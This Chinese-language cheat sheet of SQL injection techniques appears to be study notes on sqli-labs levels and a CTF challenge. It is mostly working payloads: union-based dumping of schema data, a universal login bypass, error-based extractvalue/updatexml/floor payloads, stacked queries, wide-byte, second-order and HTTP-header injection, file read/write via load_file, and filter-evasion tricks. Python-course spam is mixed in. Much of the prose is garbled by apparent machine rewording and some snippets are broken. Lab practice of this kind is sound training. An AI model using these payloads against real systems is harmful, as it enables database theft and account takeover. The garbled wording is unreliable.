搜索型注入 %’
JSON型注入(判断是数字还是字符 考虑要不要闭合
JSON={"XINGMING":"DUMP' and 1=2 union select 1,database(),2 #"}

如果大家在学习中碰着困难,想找一个python学习互换环境,可以加入我们的python裙,关注
GET注入 Cookie注入 POST注入(登录框)REQUEST 注入 (全部接管)
HTTP头部(SERVER注入)
防护软件可能只针对某种提交办法进行防护 可以利用其他办法进行绕过
基于查询办法2.SQL注入测试方法1.探求注入点(登录框,表单,http头部(cookie,ua,re),搜索或者查找。。)
2.判断注入点对符号有没有滋扰
3.布局测试语句->1,判断注入类型(数字,字符)->2,闭合(--+ #)
4.通过order by判断列数
5.通过union select判断回显位置
6.布局语句,获取数据 database()
3.万能密码1‘ or 1#
4.MYSQL根本知识主要名称information_schema 在php5.0往后支持的 information_schema.schemata 存放的是所有数据库名 information_schema.tables 存放的是所有表名 information_schema.columns 存放的是所有列名 table_schema 数据库名字 table_name 表名 column_name 列名 column_name 用来获取数据库的
SQL命令1.查看当前数据库 show databases
2.创建数据库 create database wljy charset=gbk;
3.利用数据库 use wljy;
4.查看当前数据表 show tables;
5.创建数据表 default : 默认值 comment: 备注 表类型:int varchar(50) auto_increment自动增长 primary key create table test(id int primary key auto_increment,name varchar(50) not null,addr varchar(25) not null default '中国')engine=innodb charset=utf8;
6.查看表构造 desc(descripe) test show create table \G -- 将结果竖着排列
7.插入数据 insert into test(id,name,addr) values(1,'张三','福建'); insert into test values(null,'李四','东北'); insert into test(addr) values(''东京'); // 报错 insert into test(name,addr) values('tom',default);
8.查看数据 select from test where id=3; // id为3的所有信息 select name from test where id=3 // id为3的name信息
9.删除数据 delete from test where id=3;
10.删除表 drop table 表名
11.更新数据 update test set name='王五' where id=2;
1.利用mysqli函数,须要先开启对应的扩展
extension=php_mysqli.dll mysqli_connect(user,dbname); 2.设置字符编码 mysqli_set_charset(中文乱码写语句sql = "select from 510_admin"; 5.实行sql语句,获取工具 con,获取工具数据rs] assoc 关联 row 索引 array 索引+关联
8.报错注入1.布局目标数据查询语句 2、选择报错注入函数 3、布局报错注入语句 4、拼接报错注入语句
要有print_r(mysql_error());函数
1.floor报错暴表 http://127.0.0.1/sqllab/Less-3/?id=-1') and (select 1 from (select count() from information_schema.tables group by concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)2)))a)--+
2.extractvalue报错http://127.0.0.1/sqllab/Less-3/?id=-1') and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))--+
3.updatexml报错9.文件读写可以获取比如扫描出来的网站源码 通过导出获取源码
load_file():读取函数
into outflie或into dumpfile :导出函数
路径获取办法
报错显示(通过输入语句报错显示) 遗留文件(phpinfo) 漏洞报错(利用什么程序搭建 搜索相应漏洞 zblog phpcms等) 平台配置文件(默认路径) 爆破等
利用\要利用两个\ 后面有影响的话要注释掉
10.堆叠注入利用堆叠注入,查询所有数据库:
1';show databases;#
查询words表中所有列:
1';show columns from words;#
查询1919810931114514表中所有列
1';show columns from1919810931114514;# (字符串为表名操作时要加反引号)
第一种查字段根据两个表的情形结合实际查询出结果的情形判断出words是默认查询的表,由于查询出的结果是一个数字加一个字符串,words表构造是id和data,传入的inject参数也便是赋值给了id
这道题没有禁用rename和alert,以是我们可以采取修正表构造的方法来得到flag 将words表名改为words1,再将数字名表改为words,这样数字名表便是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段
1';rename tableswordstowords1;rename tables1919810931114514towords; alter tablewordschangeflagidvarchar(100);#
这段代码的意思是将words表名改为words1,1919810931114514表名改为words,将现在的words表中的flag列名改为id 然后用1' or 1=1 #得到flag
第二种查字段查询表中数据的方法我没想到,百度了一下,有两种:1.页面默认查的是words表,将1919810931114514的表名和words交流;2.利用mysql的预处理。
预处理语句输入如下:
1';use supersqli;set @sql=concat('s','elect from1919810931114514');PREPARE pre FROM @sql;EXECUTE pre;--+
用concat绕过了关键字的检讨
sqli38关
11.宽字节注入
id=%df%27%20union%20select%201,schema_name,3%20from%20information_schema.schemata%20limit%206,5%20%23
12.二次注入UPDATE users SET PASSWORD='122211' where username='admin';
以SQLli 24关为例
注册 用户admin'#
进行登录
修正密码
利用单引号闭合 #注释 任意修正admin的密码
成功登录admin用户
13.user—Agent注入UA注入:若ua信息会被实行,则可能存在UA注入
以sqli18关为例
User-Agent: 'and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1
14.Cookie注入
uname=admin1'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#
15.Referer注入Referer: ' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1
16.XFF注入
X-Forwarded-for: -127.0.0.1' union select 1 ,2,3,group_concat(schema_name) frominformation_schema.schemata#
17.Base注入uname=YWRtaW4xJylhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQGJhc2VkaXIpLDB4N2UpKSM=
18.SQL注入绕过1绕过:' 通过十六进制
关键字为空,通过双写绕过
内联注释绕过 /! select/ =被过滤 like regexp
空格被过滤 select() %0a,%d回车 或者tab
and or 被过滤 || &&
末了多说一句,小编是一名python开拓工程师,这里有我自己整理了一套最新的python系统学习教程,包括从根本的python脚本到web开拓、爬虫、数据剖析、数据可视化、机器学习等。想要这些资料的可以关注小编,并在后台私信小编:“01”即可领取。